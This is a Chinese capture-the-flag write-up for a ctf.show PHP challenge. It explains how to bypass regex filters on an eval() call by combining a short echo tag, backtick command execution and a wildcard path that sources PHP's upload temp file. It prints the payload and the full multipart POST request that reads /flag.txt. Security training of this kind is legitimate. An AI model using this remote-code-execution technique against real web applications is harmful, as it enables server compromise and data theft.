1:题目
2:解题
2.1:查看源码
按F12发现提示:?cmd=
2.2:尝试传参
通过url传参数cmd=aaa:
http://2799b166-4390-45e9-a3f4-711d2a5e64c5.challenge.ctf.show:8080/?cmd=aaa
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
此段代码要求cmd不能含有除了p以外的大小写字母和数字,且不能含有特殊字符:$~!@#%^&等等。可以使用的有:p ` ? / + < > =
2.3:构造cmd
通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件
解释构造原理:
2.3.1:<?= $cmd ?> 等于 <?php echo($cmd) ?>
在php中,<? ?>称为短标签,<?php ?>称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。
例:以下代码在php7.4环境下运行,结果均为2021。
<?php echo(date('Y')) ?>
<?php eval("echo(date('Y'));") ?>
<?= date('Y'); ?>
<?php eval("?><?= date('Y');") ?>
(php在线运行测试http://www.dooccn.com/php7.4/)
2.3.2:反引号``(键盘Tab键上面那个键)
在php中反引号的作用是命令替换,将其中的字符串当成shell命令执行,返回命令的执行结果。反引号包括的字符串必须是能执行的shell命令,否则会出错。如下语句可得系统日期:
<?= `date` ?>
2.3.3:点 .
点命令等于source命令,用来执行文件。
source /home/user/bash 等同于 . /home/user/bash
2.3.4:加号 +
URL编码中空格为%20,+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。
2.3.5:/??p/p?p??????
2.3.5.1:临时文件夹目录
php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file() 函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。
2.3.5.2:临时文件命名规则
默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp linux下:phpXXXXXX。
2.3.5.3:通配符
问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
2.4:上传文件
用burpsuite发送POST请求,上传文件。(注意:Content-Length下必须空一行)
以上请求头修改了3个地方:
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--
2.4.1:Content-Type
Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对
②multipart/form-data:上传文件
2.4.2:boundary
boundary为边界分隔符
文件开始标记:-----------------------------10242300956292313528205888
文件结束标记:-----------------------------10242300956292313528205888--
其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。
2.4.3:文件内容
#! /bin/sh 指定命令解释器,#!是一个特殊的表示符,其后,跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,如:sh,csh,ksh,tcsh。首先用命令ls / 来查看服务器根目录有哪些文件,发现有flag.txt,然后再用cat /flag.txt 即可。